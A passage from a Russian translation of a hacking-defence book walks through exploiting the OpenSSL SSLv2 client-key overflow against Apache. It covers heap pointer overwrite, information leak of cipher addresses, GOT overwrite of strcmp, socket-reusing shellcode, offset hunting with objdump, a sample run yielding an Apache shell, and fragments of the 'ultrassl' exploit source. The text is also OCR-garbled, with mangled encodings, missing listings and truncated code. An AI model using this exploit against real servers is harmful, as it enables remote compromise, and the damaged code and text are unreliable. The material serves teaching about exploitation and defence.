книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

26

27struct ssl_session_st *prev, *next;

28} SSL_SESSION;

На первый взгляд, в этой структуре нет ничего, что стоило бы перезаписывать (никаких указателей на функции). Однако в самом конце имеются указатели prev и next, необходимые для управления связанным списком ssl-сессий. По завершении процедуры квитирования, принятой в протоколе SSL, новая сессия помещается в этот список следующей функцией:

(из файла ssl_sess.c – небольшой фрагмент)

1 static void SSL_SESSION_list_add(SSL_CTX *ctx, SSL_SESSION *s)

2{

3if ((s->next != NULL) && (s->prev != NULL))

4SSL_SESSION_list_remove(ctx,s);

Здесь говорится, что если указатели next и prev не равны NULL (а они и будут ненулевыми, если мы их перепишем), то OpenSSL удаляет указанную сессию из списка. Перезаписывание содержимого произвольных 32-разряд- ных слов в памяти происходит в функции SSL_SESSION_list_remove:

(из файла ssl_sess.c – небольшой фрагмент)

1 static void SSL_SESSION_list_remove(SSL_CTX *ctx, SSL_SESSION *s)

2{

3/* середина списка */

4s->next->prev = s->prev;

5 s->prev->next = s->next;

6}

То же на ассемблере:

Этот код позволяет записать в 32-разрядное слово по произвольному адресу содержимое 32-разрядного слова по другому, тоже произвольному адресу. Например, чтобы изменить адрес функции strcmp в глобальной таблице смещений (GOT), мы можем подготовить буфер так, чтобы next указывал на адрес strcmp – 192, а prev содержал адрес нашего shell-кода.

Усложняют написание эксплойта два указателя в структуре SSL_SESSION: cipher и ciphers. Они связаны с процедурами дешифрирования для SSL-сес- сии. Если они окажутся затерты, то дешифрирования не произойдет и сессия не будет помещена в список. Поэтому необходимо получить значения этих указателей до того, как мы начнем конструировать свой буфер.

На наше счастье, уязвимость в OpenSSL породила некую утечку информации. Когда SSL посылает сообщение «server finish» в ходе процедуры квитирования, то вместе с ним клиенту посылается значение поля session_id из структуры SSL_SESSION.

(из файла s2_srvr.c)

1 static int

2 server_finish(SSL *s)

3 {

4 unsigned char *p;

5

6if (s->state == SSL2_ST_SEND_SERVER_FINISHED_A) {

7p = (unsigned char *) s->init_buf->data;

8 *(p++) = SSL2_MT_SERVER_FINISHED;

9

10memcpy(p, s->session->session_id,

11(unsigned int) s->session->session_id_length);

12/* p += s->session->session_id_length; */

13

14s->state = SSL2_ST_SEND_SERVER_FINISHED_B;

15s->init_num = s->session->session_id_length + 1;

16s->init_off = 0;

17}

18/* SSL2_ST_SEND_SERVER_FINISHED_B */

19}

Âстроках 10 и 11 OpenSSL копирует в буфер session_id_length байтов значе- ния session_id. Ïîëå session_id_length расположено в структуре SSL_SESSION

сразу после массива key_arg, следовательно, мы можем модифицировать его значение. Задав для session_id_length значение 112, мы получим от сервера дамп памяти в куче, включающий адреса, хранящиеся в полях cipher и ciphers.

Итак, нужные адреса мы знаем. Теперь надо найти место для shell-кода. Кстати, нам необходим shell-код, который повторно использует уже открытый сокет. К несчастью, shell-код, который перебирает все файловые дескрипторы и затем дублирует нужный на stdin, stdout è stderr, слишком длинный. Чтобы shell-код выполнился успешно, придется разбить его на две части, одну поместить в массив session_id, а другую – в память, следующую за струк-

турой SSL_SESSION.

код. Но последовательность выделения и освобождения памяти из кучи непредсказуема, так что грубая сила ни к чему не приведет. Однако известно, что в только что порожденном процессе Apache первая структура SSL_SESSION всегдаоказывается на одном и том же расстоянии от указателя ciphers (амы уже знаем его адрес). Чтобы эксплойт сработал, мы подменим адрес функции strcmp в глобальной таблице смещений (поскольку дескриптор сокета для этого процесса все еще открыт) адресом ciphers – 136. Этот подход работает, нам удалось таким образом успешно взломать несколько версий Linux.

Усовершенствование эксплойта

Чтобы усовершенствовать эксплойт, мы должны найти дополнительные адреса в глобальной таблице смещений (GOT), которые можно было бы переписать. Эти адреса меняются в каждой версии OpenSSL. Получить информацию о GOT можно с помощью утилиты objdump:

Чтобы получить смещения для Linux:

$ objdump -R /usr/sbin/httpd | grep strcmp

Открыть файл ultrassl.c и в массив target поместить:

{ 0x080b0ac8, "slackware 8.1" },

Вывод

На примере этого эксплойта мы продемонстрировали технику атаки на недавно обнаруженную уязвимость в OpenSSL. Хотя атака возможна, но эксплойт может и не сработать в зависимости от состояния атакуемого Webсервера. Чем больше законного SSL-трафика получает жертва, тем призрач- нее шансы на успех атаки. Иногда приходится запускать эксплойт несколько раз, чтобы добиться нужного результата. Как видно из примера исполнения эксплойта ниже, мы получили оболочку с правами пользователя, от имени которого работает Apache.

1(bind@ninsei ~/coding/exploits/ultrassl) > ./ultrassl -t2 10.0.48.64

2ultrassl – an openssl <= 0.9.6d apache exploit

3 written by marshall beddoe <marshall.beddoe@foundstone.com>

4

5атака на redhat 7.2 (Enigma)

6 длина shell-кода 104 байт

7

8создаются соединения: 20 из 20

9

Код эксплойта для переполнения буфера из-за неправильно сформированного клиентского ключа в OpenSSL SSLv2

Показанная ниже программа эксплуатирует ошибку в библиотеке OpenSSL, вызывающую затирание памяти в связанном списке. В результате запуска эксплойта удается получить оболочку с правами пользователя «apache». В большинстве систем Linux последующее повышение привилегий до уровня root тривиально.

15 char *host;

16int con_num, do_ssl, port;

17u_long cipher, ciphers, brute_addr = 0;

19 typedef struct {

20 u_long retloc;

72puts("ultrassl – an openssl <= 0.9.6d apache exploit\n");

73"written by marshall beddoe <marshall.beddoe@foundstone.com>");

75if (argc < 2)

76usage(p);

78while ((opt = getopt(argc, argv, "p:c:a:t:s")) != EOF) {

79switch (opt) {

80case 'p':

81port = atoi(optarg);

82break;

83case 'c':

84con_num = atoi(optarg);

85break;

86case 'a':

87addr = strtoul(optarg, NULL, 0);

88break;

89case 't':

90ver = atoi(optarg) – 1;

91break;

92case 's':

93do_ssl = 1;

94break;

95default:

96usage(p);

97}

98}

99

100argv += optind;

101host = argv[0];

103ver = 0;

105if (ver < 0 || ver >= target_num) && !addr) {

106printf(\nöåëè:\n");

107for (i = 0; i < target_num; i++)

108printf(" -t%d\t%s\n", i + 1, target[i].name);

109exit(-1);

110}

111my_target = target + ver;

112

113if (addr)

114brute_addr = addr;

116if (!host)